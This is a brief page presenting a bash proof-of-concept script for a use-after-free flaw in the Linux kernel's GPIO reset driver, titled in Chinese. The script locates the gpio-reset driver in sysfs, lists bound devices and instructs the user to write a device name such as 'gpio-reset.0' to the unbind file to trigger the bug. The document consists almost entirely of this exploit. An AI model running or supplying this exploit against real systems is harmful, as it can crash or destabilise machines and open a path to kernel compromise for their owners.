CVE-2026-43138 Linux内核GPIO重置驱动UAF漏洞

#!/bin/bash # PoC for CVE-2026-43138: Linux Kernel GPIO Reset UAF # This script attempts to trigger the vulnerability by unbinding the device via sysfs. # Note: Requires a system with the vulnerable driver loaded. # Target path (example, actual path depends on hardware configuration) SYSFS_DRIVER_PATH="/sys/bus/platform/drivers/gpio-reset" if [ -d "$SYSFS_DRIVER_PATH" ]; then echo "[+] Vulnerable driver path found." # List devices currently bound to find a target echo "[*] Searching for bound devices..." ls "$SYSFS_DRIVER_PATH/" # Attempt to unbind. Replace 'TARGET_DEVICE_NAME' with actual device ID. # This action triggers the UAF if the device is still in use. # echo "TARGET_DEVICE_NAME" > "$SYSFS_DRIVER_PATH/unbind" echo "[!] To exploit, find a bound device and write its name to the unbind file." echo "[!] Example: echo 'gpio-reset.0' > $SYSFS_DRIVER_PATH/unbind" else echo "[-] Driver path not found. System may not be vulnerable or hardware differs." fi